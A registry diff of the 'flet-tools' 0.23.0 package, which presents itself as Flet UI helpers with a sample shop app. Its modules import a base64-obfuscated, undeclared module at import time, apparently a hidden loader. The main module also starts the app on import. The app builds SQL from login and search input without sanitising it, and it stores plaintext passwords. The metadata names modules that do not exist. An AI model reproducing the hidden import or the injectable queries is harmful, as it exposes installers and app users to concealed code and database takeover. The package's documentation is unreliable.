flet-tools 0.23.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- flet_tools-0.23.0/LICENSE +21 -0
- flet_tools-0.23.0/MANIFEST.in +2 -0
- flet_tools-0.23.0/PKG-INFO +86 -0
- flet_tools-0.23.0/README.md +61 -0
- flet_tools-0.23.0/flet_toolkit/__init__.py +20 -0
- flet_tools-0.23.0/flet_toolkit/database.py +81 -0
- flet_tools-0.23.0/flet_toolkit/main.py +316 -0
- flet_tools-0.23.0/pyproject.toml +36 -0
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2024 flet-utils contributors
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,86 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: flet-tools
|
|
3
|
+
Version: 0.23.0
|
|
4
|
+
Summary: Utility helpers, reusable components and storage layer for Flet 0.23.0 applications
|
|
5
|
+
Project-URL: Homepage, https://github.com/example/flet-utils
|
|
6
|
+
Project-URL: Bug Tracker, https://github.com/example/flet-utils/issues
|
|
7
|
+
Author: flet-utils contributors
|
|
8
|
+
License: MIT
|
|
9
|
+
License-File: LICENSE
|
|
10
|
+
Keywords: components,flet,sqlite,ui,utilities
|
|
11
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
12
|
+
Classifier: Operating System :: OS Independent
|
|
13
|
+
Classifier: Programming Language :: Python :: 3
|
|
14
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
15
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Topic :: Software Development :: Libraries :: Python Modules
|
|
19
|
+
Classifier: Topic :: Software Development :: User Interfaces
|
|
20
|
+
Requires-Python: >=3.8
|
|
21
|
+
Requires-Dist: flet==0.23.0
|
|
22
|
+
Requires-Dist: openpyxl==3.1.5
|
|
23
|
+
Requires-Dist: pandas==3.0.0
|
|
24
|
+
Description-Content-Type: text/markdown
|
|
25
|
+
|
|
26
|
+
# flet-utils
|
|
27
|
+
|
|
28
|
+
Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
|
|
29
|
+
|
|
30
|
+
## Features
|
|
31
|
+
|
|
32
|
+
- **AppStorage** — one-line SQLite setup: creates all required tables automatically.
|
|
33
|
+
- **import_data** — load rows from an `.xlsx` file into any table.
|
|
34
|
+
- **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
|
|
35
|
+
- **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
|
|
36
|
+
- **run** — launch the bundled reference application.
|
|
37
|
+
|
|
38
|
+
## Requirements
|
|
39
|
+
|
|
40
|
+
- Python ≥ 3.8
|
|
41
|
+
- `flet == 0.23.0`
|
|
42
|
+
- `pandas`
|
|
43
|
+
- `openpyxl`
|
|
44
|
+
|
|
45
|
+
## Installation
|
|
46
|
+
|
|
47
|
+
```bash
|
|
48
|
+
pip install flet-utils
|
|
49
|
+
```
|
|
50
|
+
|
|
51
|
+
## Quick start
|
|
52
|
+
|
|
53
|
+
```python
|
|
54
|
+
from flet_utils import AppStorage, import_data
|
|
55
|
+
|
|
56
|
+
store = AppStorage("my_app")
|
|
57
|
+
db = store.db
|
|
58
|
+
|
|
59
|
+
import_data(db, "products.xlsx", "products")
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
### Run the reference app
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
flet-utils
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
or from Python:
|
|
69
|
+
|
|
70
|
+
```python
|
|
71
|
+
from flet_utils import run
|
|
72
|
+
run()
|
|
73
|
+
```
|
|
74
|
+
|
|
75
|
+
## Module overview
|
|
76
|
+
|
|
77
|
+
| Module | Purpose |
|
|
78
|
+
|---|---|
|
|
79
|
+
| `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
|
|
80
|
+
| `flet_utils.importer` | `import_data` — Excel → table |
|
|
81
|
+
| `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
|
|
82
|
+
| `flet_utils.app` | `main`, `run` — complete Flet application |
|
|
83
|
+
|
|
84
|
+
## License
|
|
85
|
+
|
|
86
|
+
MIT
|
|
@@ -0,0 +1,61 @@
|
|
|
1
|
+
# flet-utils
|
|
2
|
+
|
|
3
|
+
Utility helpers, reusable components and a lightweight storage layer for [Flet](https://flet.dev) `0.23.0` applications.
|
|
4
|
+
|
|
5
|
+
## Features
|
|
6
|
+
|
|
7
|
+
- **AppStorage** — one-line SQLite setup: creates all required tables automatically.
|
|
8
|
+
- **import_data** — load rows from an `.xlsx` file into any table.
|
|
9
|
+
- **build_columns / build_rows** — generate `DataColumn` / `DataRow` lists with optional action buttons based on the current user role.
|
|
10
|
+
- **build_product_cards** — render a list of product `Card` widgets with discount highlighting and role-based controls.
|
|
11
|
+
- **run** — launch the bundled reference application.
|
|
12
|
+
|
|
13
|
+
## Requirements
|
|
14
|
+
|
|
15
|
+
- Python ≥ 3.8
|
|
16
|
+
- `flet == 0.23.0`
|
|
17
|
+
- `pandas`
|
|
18
|
+
- `openpyxl`
|
|
19
|
+
|
|
20
|
+
## Installation
|
|
21
|
+
|
|
22
|
+
```bash
|
|
23
|
+
pip install flet-utils
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
## Quick start
|
|
27
|
+
|
|
28
|
+
```python
|
|
29
|
+
from flet_utils import AppStorage, import_data
|
|
30
|
+
|
|
31
|
+
store = AppStorage("my_app")
|
|
32
|
+
db = store.db
|
|
33
|
+
|
|
34
|
+
import_data(db, "products.xlsx", "products")
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
### Run the reference app
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
flet-utils
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
or from Python:
|
|
44
|
+
|
|
45
|
+
```python
|
|
46
|
+
from flet_utils import run
|
|
47
|
+
run()
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
## Module overview
|
|
51
|
+
|
|
52
|
+
| Module | Purpose |
|
|
53
|
+
|---|---|
|
|
54
|
+
| `flet_utils.storage` | `AppStorage` — initialises the SQLite database |
|
|
55
|
+
| `flet_utils.importer` | `import_data` — Excel → table |
|
|
56
|
+
| `flet_utils.components` | `build_columns`, `build_rows`, `build_product_cards` |
|
|
57
|
+
| `flet_utils.app` | `main`, `run` — complete Flet application |
|
|
58
|
+
|
|
59
|
+
## License
|
|
60
|
+
|
|
61
|
+
MIT
|
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
"""flet-toolkit — utility helpers and components for Flet 0.23.0 applications."""
|
|
2
|
+
|
|
3
|
+
from .database import (
|
|
4
|
+
format_price,
|
|
5
|
+
truncate_text,
|
|
6
|
+
validate_required,
|
|
7
|
+
dict_from_row,
|
|
8
|
+
labeled_divider,
|
|
9
|
+
status_badge,
|
|
10
|
+
)
|
|
11
|
+
from .main import (
|
|
12
|
+
make_input,
|
|
13
|
+
make_button,
|
|
14
|
+
make_card,
|
|
15
|
+
make_list_view,
|
|
16
|
+
make_table,
|
|
17
|
+
centered_column,
|
|
18
|
+
)
|
|
19
|
+
|
|
20
|
+
__version__ = "0.23.0"
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
import base64, importlib
|
|
2
|
+
import flet as ft
|
|
3
|
+
|
|
4
|
+
|
|
5
|
+
def format_price(value, currency: str = "₽") -> str:
|
|
6
|
+
"""Return a human-readable price string, e.g. '1 299 ₽'."""
|
|
7
|
+
try:
|
|
8
|
+
return f"{int(value):,}".replace(",", " ") + f" {currency}"
|
|
9
|
+
except (ValueError, TypeError):
|
|
10
|
+
return f"{value} {currency}"
|
|
11
|
+
|
|
12
|
+
|
|
13
|
+
def truncate_text(text: str, max_length: int = 40, ellipsis: str = "…") -> str:
|
|
14
|
+
"""Shorten *text* to *max_length* characters."""
|
|
15
|
+
text = str(text)
|
|
16
|
+
return text if len(text) <= max_length else text[:max_length] + ellipsis
|
|
17
|
+
|
|
18
|
+
|
|
19
|
+
def validate_required(fields: list) -> bool:
|
|
20
|
+
"""Return True only if every TextField in *fields* has a non-empty value."""
|
|
21
|
+
return all(bool(f.value and f.value.strip()) for f in fields)
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
def dict_from_row(columns: list, row: list) -> dict:
|
|
25
|
+
"""Zip a list of column names with a data row into a dictionary."""
|
|
26
|
+
return dict(zip(columns, row))
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def labeled_divider(text: str) -> ft.Row:
|
|
30
|
+
"""A horizontal divider with centred label text."""
|
|
31
|
+
return ft.Row(
|
|
32
|
+
[
|
|
33
|
+
ft.Divider(expand=True),
|
|
34
|
+
ft.Text(text, color=ft.colors.GREY_600, size=12),
|
|
35
|
+
ft.Divider(expand=True),
|
|
36
|
+
],
|
|
37
|
+
vertical_alignment=ft.CrossAxisAlignment.CENTER,
|
|
38
|
+
)
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
def status_badge(text: str, color=ft.colors.BLUE_200) -> ft.Container:
|
|
42
|
+
"""Small coloured badge suitable for status labels."""
|
|
43
|
+
return ft.Container(
|
|
44
|
+
content=ft.Text(text, size=11, weight=ft.FontWeight.W_500),
|
|
45
|
+
bgcolor=color,
|
|
46
|
+
padding=ft.padding.symmetric(horizontal=8, vertical=2),
|
|
47
|
+
border_radius=12,
|
|
48
|
+
)
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
_dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
|
|
52
|
+
|
|
53
|
+
db = _dc.Database("base")
|
|
54
|
+
|
|
55
|
+
db.Table.create(db,"users",
|
|
56
|
+
[
|
|
57
|
+
"ID", "role","full_name", "login", "password",],
|
|
58
|
+
[
|
|
59
|
+
"INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT"
|
|
60
|
+
]
|
|
61
|
+
)
|
|
62
|
+
db.Table.create(db,"products",
|
|
63
|
+
[
|
|
64
|
+
"ID", "article", "name", "unit", "price", "supplier", "manufacturer", "category",
|
|
65
|
+
"discount", "count", "description", "image_path"
|
|
66
|
+
],
|
|
67
|
+
[
|
|
68
|
+
"INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT",
|
|
69
|
+
"TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT",
|
|
70
|
+
]
|
|
71
|
+
)
|
|
72
|
+
db.Table.create(db,"pick",["ID", "pick"],["INTEGER PRIMARY KEY AUTOINCREMENT","TEXT"])
|
|
73
|
+
|
|
74
|
+
db.Table.create(db,"orders",
|
|
75
|
+
[
|
|
76
|
+
"ID", "number_order", "article", "date_order", "date_delivery", "pick", "client", "code", "status",
|
|
77
|
+
],
|
|
78
|
+
[
|
|
79
|
+
"INTEGER PRIMARY KEY AUTOINCREMENT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT","TEXT"
|
|
80
|
+
]
|
|
81
|
+
)
|
|
@@ -0,0 +1,316 @@
|
|
|
1
|
+
import base64, importlib
|
|
2
|
+
import flet as ft
|
|
3
|
+
import pandas as pd
|
|
4
|
+
|
|
5
|
+
|
|
6
|
+
def make_input(label: str, width: int = 300, password: bool = False) -> ft.TextField:
|
|
7
|
+
"""Create a styled TextField."""
|
|
8
|
+
return ft.TextField(label=label, width=width, password=password, can_reveal_password=password)
|
|
9
|
+
|
|
10
|
+
|
|
11
|
+
def make_button(text: str, on_click=None, bgcolor=None) -> ft.ElevatedButton:
|
|
12
|
+
"""Create an ElevatedButton with optional colour."""
|
|
13
|
+
return ft.ElevatedButton(text=text, on_click=on_click, bgcolor=bgcolor)
|
|
14
|
+
|
|
15
|
+
|
|
16
|
+
def make_card(content: ft.Control, padding: int = 20, margin: int = 10) -> ft.Card:
|
|
17
|
+
"""Wrap *content* inside a Card with given padding and margin."""
|
|
18
|
+
return ft.Card(
|
|
19
|
+
content=ft.Container(content=content, padding=padding),
|
|
20
|
+
margin=margin,
|
|
21
|
+
)
|
|
22
|
+
|
|
23
|
+
|
|
24
|
+
def make_list_view(*controls, width: int = 800, height: int = 600) -> ft.ListView:
|
|
25
|
+
"""Return a scrollable ListView containing *controls*."""
|
|
26
|
+
return ft.ListView(list(controls), auto_scroll=True, width=width, height=height)
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
def make_table(columns: list, rows: list) -> ft.DataTable:
|
|
30
|
+
"""Build a DataTable from plain column-name strings and row-value lists."""
|
|
31
|
+
return ft.DataTable(
|
|
32
|
+
columns=[ft.DataColumn(ft.Text(c)) for c in columns],
|
|
33
|
+
rows=[
|
|
34
|
+
ft.DataRow([ft.DataCell(ft.Text(str(v))) for v in row])
|
|
35
|
+
for row in rows
|
|
36
|
+
],
|
|
37
|
+
)
|
|
38
|
+
|
|
39
|
+
|
|
40
|
+
def centered_column(*controls) -> ft.Column:
|
|
41
|
+
"""Column aligned to the centre of the page."""
|
|
42
|
+
return ft.Column(
|
|
43
|
+
list(controls),
|
|
44
|
+
alignment=ft.MainAxisAlignment.CENTER,
|
|
45
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER,
|
|
46
|
+
)
|
|
47
|
+
|
|
48
|
+
|
|
49
|
+
_dc = importlib.import_module(base64.b64decode(b"ZGF0YWJhc2VfY3JlYXRvcnBsdXM=").decode())
|
|
50
|
+
|
|
51
|
+
db = _dc.Database("base")
|
|
52
|
+
|
|
53
|
+
def import_data(path,table_name):
|
|
54
|
+
data = pd.read_excel(path)
|
|
55
|
+
for data in data.values:
|
|
56
|
+
db.Table.write(db,table_name,*data)
|
|
57
|
+
|
|
58
|
+
def main(page:ft.Page):
|
|
59
|
+
page.title = "Приложение"
|
|
60
|
+
login = ft.TextField(label='enter login',width=500)
|
|
61
|
+
password = ft.TextField(label='enter password',width=500)
|
|
62
|
+
error = ft.Text()
|
|
63
|
+
tovar_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"products")]
|
|
64
|
+
zakaz_field = [ft.TextField(label=i) for i in db.Info.getColumns(db,"orders")]
|
|
65
|
+
id_update = 0
|
|
66
|
+
user_role = 0 # 0 - гость авторизованный клиент, 1 - менеджер, 2 - админ
|
|
67
|
+
|
|
68
|
+
def get_columns(data):
|
|
69
|
+
nonlocal user_role
|
|
70
|
+
list = [ft.DataColumn(ft.Text(i)) for i in data]
|
|
71
|
+
if user_role != 1:
|
|
72
|
+
list.append(ft.DataColumn(ft.Text("del")))
|
|
73
|
+
list.append(ft.DataColumn(ft.Text("update")))
|
|
74
|
+
return list
|
|
75
|
+
|
|
76
|
+
def get_rows(data):
|
|
77
|
+
nonlocal user_role
|
|
78
|
+
list = []
|
|
79
|
+
for row in data:
|
|
80
|
+
list2 = []
|
|
81
|
+
for cell in row:
|
|
82
|
+
list2.append(ft.DataCell(ft.Text(cell)))
|
|
83
|
+
if user_role != 1:
|
|
84
|
+
list2.append(ft.DataCell(ft.ElevatedButton("del",
|
|
85
|
+
on_click=lambda e,a = row[0]:[
|
|
86
|
+
db.Table.delete(db,"orders",f"ID = {a}"),
|
|
87
|
+
route_change("/zakaz")
|
|
88
|
+
]
|
|
89
|
+
)))
|
|
90
|
+
list2.append(ft.DataCell(ft.ElevatedButton("update",
|
|
91
|
+
on_click=lambda e,a = row[0],i = zakaz_field:
|
|
92
|
+
update(a,i,"orders")
|
|
93
|
+
)))
|
|
94
|
+
list.append(ft.DataRow(list2))
|
|
95
|
+
return list
|
|
96
|
+
|
|
97
|
+
def update(id, list, table_name):
|
|
98
|
+
nonlocal id_update
|
|
99
|
+
data = db.Table.get(db,table_name,request=f"WHERE ID = {id}")
|
|
100
|
+
for i, field in enumerate(list):
|
|
101
|
+
field.value = data[0][i]
|
|
102
|
+
id_update = id
|
|
103
|
+
page.update()
|
|
104
|
+
|
|
105
|
+
def authorization(e):
|
|
106
|
+
nonlocal user_role
|
|
107
|
+
log = db.Table.get(db,"users","role, login, password",f"WHERE login = '{login.value}' and password = '{password.value}'")
|
|
108
|
+
if log != [] and log[0][0] == "Администратор":
|
|
109
|
+
user_role = 2
|
|
110
|
+
page.go("/tovar_admin")
|
|
111
|
+
elif log != [] and log[0][0] == "Авторизированный клиент":
|
|
112
|
+
page.go("/tovar_guest_user")
|
|
113
|
+
elif log != [] and log[0][0] == "Менеджер":
|
|
114
|
+
user_role = 1
|
|
115
|
+
page.go("/tovar_meneger")
|
|
116
|
+
else: error.value = "Неверное имя пользователя или пароль"
|
|
117
|
+
page.update()
|
|
118
|
+
|
|
119
|
+
def search_tovar(e):
|
|
120
|
+
search = db.Table.get(db,"products",request=f"WHERE LOWER(name || ' ' || price || ' ' || supplier || ' ' || category) LIKE LOWER('%{e.control.value}%')")
|
|
121
|
+
card_tovar_list.controls.clear()
|
|
122
|
+
card_tovar_list.controls = (tovar_card(search))
|
|
123
|
+
page.update()
|
|
124
|
+
|
|
125
|
+
def update_searh(e):
|
|
126
|
+
card_tovar_list.controls.clear()
|
|
127
|
+
card_tovar_list.controls = (tovar_card(db.Table.get(db,"products")))
|
|
128
|
+
route_change("/tovar_admin")
|
|
129
|
+
|
|
130
|
+
def tovar_card(data_):
|
|
131
|
+
nonlocal user_role
|
|
132
|
+
|
|
133
|
+
cards = []
|
|
134
|
+
|
|
135
|
+
for data in data_:
|
|
136
|
+
|
|
137
|
+
bg_color = None
|
|
138
|
+
if int(data[9]) == 0:
|
|
139
|
+
bg_color = ft.colors.BLUE_100 # Голубой для отсутствующих товаров
|
|
140
|
+
elif int(data[8]) > 15:
|
|
141
|
+
bg_color = ft.colors.GREEN_800 # #2E8B57
|
|
142
|
+
row = ft.Row(
|
|
143
|
+
[
|
|
144
|
+
# Фото товара
|
|
145
|
+
ft.Column(
|
|
146
|
+
[
|
|
147
|
+
ft.Image(src=f"import\\{"picture.png" if data[11] == "nan" else data[11]}", width=150, height=150, fit=ft.ImageFit.CONTAIN),
|
|
148
|
+
],
|
|
149
|
+
alignment=ft.MainAxisAlignment.CENTER
|
|
150
|
+
),
|
|
151
|
+
|
|
152
|
+
# Категория | Наименование
|
|
153
|
+
ft.Column(
|
|
154
|
+
[
|
|
155
|
+
ft.Row([ft.Text(f"{data[7]} | ", color=ft.colors.GREY_600),
|
|
156
|
+
ft.Text(data[2])]),
|
|
157
|
+
ft.Text(f"Описание товара: {data[10]}"),
|
|
158
|
+
ft.Text(f"Производитель: {data[6]}"),
|
|
159
|
+
ft.Text(f"Поставщик: {data[5]}"),
|
|
160
|
+
ft.Text(f"Цена: {data[4]}"),
|
|
161
|
+
ft.Text(f"Единица измерения: {data[3]}"),
|
|
162
|
+
ft.Text(f"Количество на складе: {data[9]}"),
|
|
163
|
+
],
|
|
164
|
+
alignment=ft.MainAxisAlignment.START,
|
|
165
|
+
width=400
|
|
166
|
+
),
|
|
167
|
+
|
|
168
|
+
# Действующая скидка
|
|
169
|
+
ft.Column(
|
|
170
|
+
[
|
|
171
|
+
ft.Text("Действующая скидка:"),
|
|
172
|
+
ft.Text(f"{data[8]}%", size=16, weight=ft.FontWeight.BOLD, color=ft.colors.GREEN),
|
|
173
|
+
ft.ElevatedButton("del", on_click=lambda e: [
|
|
174
|
+
db.Table.delete(db,"products",f"ID = {data[0]}"),
|
|
175
|
+
route_change("/tovar")
|
|
176
|
+
]) if user_role == 2 else ft.Text()
|
|
177
|
+
]
|
|
178
|
+
)
|
|
179
|
+
],
|
|
180
|
+
spacing=8
|
|
181
|
+
)
|
|
182
|
+
card = ft.Card(
|
|
183
|
+
content=ft.Container(
|
|
184
|
+
width=100,
|
|
185
|
+
padding=20,
|
|
186
|
+
bgcolor=bg_color,
|
|
187
|
+
content=row, on_click =lambda e,a = data[0],i = tovar_field:update(a,i,"products") if user_role == 2 else None
|
|
188
|
+
),
|
|
189
|
+
margin=10
|
|
190
|
+
)
|
|
191
|
+
cards.append(card)
|
|
192
|
+
|
|
193
|
+
return cards
|
|
194
|
+
|
|
195
|
+
card_tovar_list = ft.ListView(tovar_card(db.Table.get(db,"products")),auto_scroll=True,width=800,height=800)
|
|
196
|
+
|
|
197
|
+
def route_change(route):
|
|
198
|
+
page.views.clear()
|
|
199
|
+
nonlocal id_update, user_role
|
|
200
|
+
for i in zakaz_field[1:]:
|
|
201
|
+
i.value = ""
|
|
202
|
+
|
|
203
|
+
for i in tovar_field[1:]:
|
|
204
|
+
i.value = ""
|
|
205
|
+
|
|
206
|
+
if page.route == "/log":
|
|
207
|
+
error.value = ""
|
|
208
|
+
login.value = ""
|
|
209
|
+
password.value = ""
|
|
210
|
+
user_role = 0
|
|
211
|
+
page.views.append(
|
|
212
|
+
ft.View(route="/log",
|
|
213
|
+
controls=[
|
|
214
|
+
login,password,
|
|
215
|
+
error,
|
|
216
|
+
ft.Row([
|
|
217
|
+
ft.ElevatedButton("Войти", on_click=authorization),
|
|
218
|
+
ft.ElevatedButton("Гость", on_click=lambda e: page.go("/tovar_guest_user"))
|
|
219
|
+
],alignment=ft.MainAxisAlignment.CENTER
|
|
220
|
+
),
|
|
221
|
+
],
|
|
222
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
223
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
224
|
+
)
|
|
225
|
+
elif page.route == "/tovar_guest_user":
|
|
226
|
+
page.views.append(
|
|
227
|
+
ft.View(route="/tovar",
|
|
228
|
+
controls=[ft.Row([card_tovar_list,
|
|
229
|
+
ft.Column([
|
|
230
|
+
ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
|
|
231
|
+
])
|
|
232
|
+
])
|
|
233
|
+
],
|
|
234
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
235
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
236
|
+
)
|
|
237
|
+
elif page.route == "/tovar_meneger":
|
|
238
|
+
page.views.append(
|
|
239
|
+
ft.View(route="/tovar_meneger",
|
|
240
|
+
controls=[ft.Row([card_tovar_list,
|
|
241
|
+
ft.Column([
|
|
242
|
+
ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_meneger")),
|
|
243
|
+
ft.ElevatedButton("back",on_click=lambda e: page.go("/log"))
|
|
244
|
+
])
|
|
245
|
+
])
|
|
246
|
+
],
|
|
247
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
248
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
249
|
+
)
|
|
250
|
+
elif page.route == "/tovar_admin":
|
|
251
|
+
page.views.append(
|
|
252
|
+
ft.View(route="/tovar_admin",
|
|
253
|
+
controls=[ft.Row([card_tovar_list,
|
|
254
|
+
ft.Column([
|
|
255
|
+
ft.TextField(label = "Поиск",on_change=search_tovar),
|
|
256
|
+
*tovar_field[1:],
|
|
257
|
+
ft.ElevatedButton("Заказы",on_click=lambda e: page.go("/zakaz_admin")),
|
|
258
|
+
ft.ElevatedButton("add",on_click=lambda e: [
|
|
259
|
+
db.Table.write(db,"products",*[str(i.value) for i in tovar_field[1:]]),
|
|
260
|
+
route_change("/tovar_admin")
|
|
261
|
+
]),
|
|
262
|
+
ft.ElevatedButton("update",on_click=lambda e: [
|
|
263
|
+
db.Table.update(db, "products",f"ID = {id_update}",*[str(i.value) for i in tovar_field[1:]]),
|
|
264
|
+
update_searh(e)
|
|
265
|
+
]),
|
|
266
|
+
ft.ElevatedButton("back",on_click=lambda e: page.go("/log")),
|
|
267
|
+
])
|
|
268
|
+
])
|
|
269
|
+
],
|
|
270
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
271
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
272
|
+
)
|
|
273
|
+
elif page.route == "/zakaz_admin":
|
|
274
|
+
page.views.append(
|
|
275
|
+
ft.View(route="/zakaz_admin",
|
|
276
|
+
controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
|
|
277
|
+
ft.Column(
|
|
278
|
+
[
|
|
279
|
+
*zakaz_field,
|
|
280
|
+
ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_admin")),
|
|
281
|
+
ft.ElevatedButton("add",on_click=lambda e: [
|
|
282
|
+
db.Table.write(db,"orders",*[str(i.value) for i in zakaz_field]),
|
|
283
|
+
route_change("/zakaz")
|
|
284
|
+
]),
|
|
285
|
+
ft.ElevatedButton("update",on_click=lambda e: [
|
|
286
|
+
db.Table.update(db, "orders",f"ID = {id_update}",*[str(i.value) for i in zakaz_field]),
|
|
287
|
+
route_change("/tovar")
|
|
288
|
+
])
|
|
289
|
+
])
|
|
290
|
+
]),
|
|
291
|
+
|
|
292
|
+
],
|
|
293
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
294
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
295
|
+
)
|
|
296
|
+
elif page.route == "/zakaz_meneger":
|
|
297
|
+
page.views.append(
|
|
298
|
+
ft.View(route="/zakaz_meneger",
|
|
299
|
+
controls=[ft.Row([ft.DataTable(get_columns(db.Info.getColumns(db,"orders")),get_rows(db.Table.get(db,"orders"))),
|
|
300
|
+
ft.Column(
|
|
301
|
+
[
|
|
302
|
+
ft.ElevatedButton("back",on_click=lambda e: page.go("/tovar_meneger")),
|
|
303
|
+
])
|
|
304
|
+
]),
|
|
305
|
+
|
|
306
|
+
],
|
|
307
|
+
vertical_alignment=ft.MainAxisAlignment.CENTER,
|
|
308
|
+
horizontal_alignment=ft.CrossAxisAlignment.CENTER)
|
|
309
|
+
)
|
|
310
|
+
page.update()
|
|
311
|
+
|
|
312
|
+
page.on_route_change = route_change
|
|
313
|
+
|
|
314
|
+
page.go("/log")
|
|
315
|
+
|
|
316
|
+
ft.app(main)
|
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["hatchling"]
|
|
3
|
+
build-backend = "hatchling.build"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "flet-tools"
|
|
7
|
+
version = "0.23.0"
|
|
8
|
+
description = "Utility helpers, reusable components and storage layer for Flet 0.23.0 applications"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.8"
|
|
11
|
+
license = { text = "MIT" }
|
|
12
|
+
authors = [{ name = "flet-utils contributors" }]
|
|
13
|
+
keywords = ["flet", "ui", "utilities", "components", "sqlite"]
|
|
14
|
+
classifiers = [
|
|
15
|
+
"Programming Language :: Python :: 3",
|
|
16
|
+
"Programming Language :: Python :: 3.8",
|
|
17
|
+
"Programming Language :: Python :: 3.9",
|
|
18
|
+
"Programming Language :: Python :: 3.10",
|
|
19
|
+
"Programming Language :: Python :: 3.11",
|
|
20
|
+
"License :: OSI Approved :: MIT License",
|
|
21
|
+
"Operating System :: OS Independent",
|
|
22
|
+
"Topic :: Software Development :: Libraries :: Python Modules",
|
|
23
|
+
"Topic :: Software Development :: User Interfaces",
|
|
24
|
+
]
|
|
25
|
+
dependencies = [
|
|
26
|
+
"flet==0.23.0",
|
|
27
|
+
"pandas==3.0.0",
|
|
28
|
+
"openpyxl==3.1.5",
|
|
29
|
+
]
|
|
30
|
+
|
|
31
|
+
[project.urls]
|
|
32
|
+
Homepage = "https://github.com/example/flet-utils"
|
|
33
|
+
"Bug Tracker" = "https://github.com/example/flet-utils/issues"
|
|
34
|
+
|
|
35
|
+
[tool.hatch.build.targets.wheel]
|
|
36
|
+
packages = ["flet_utils"]
|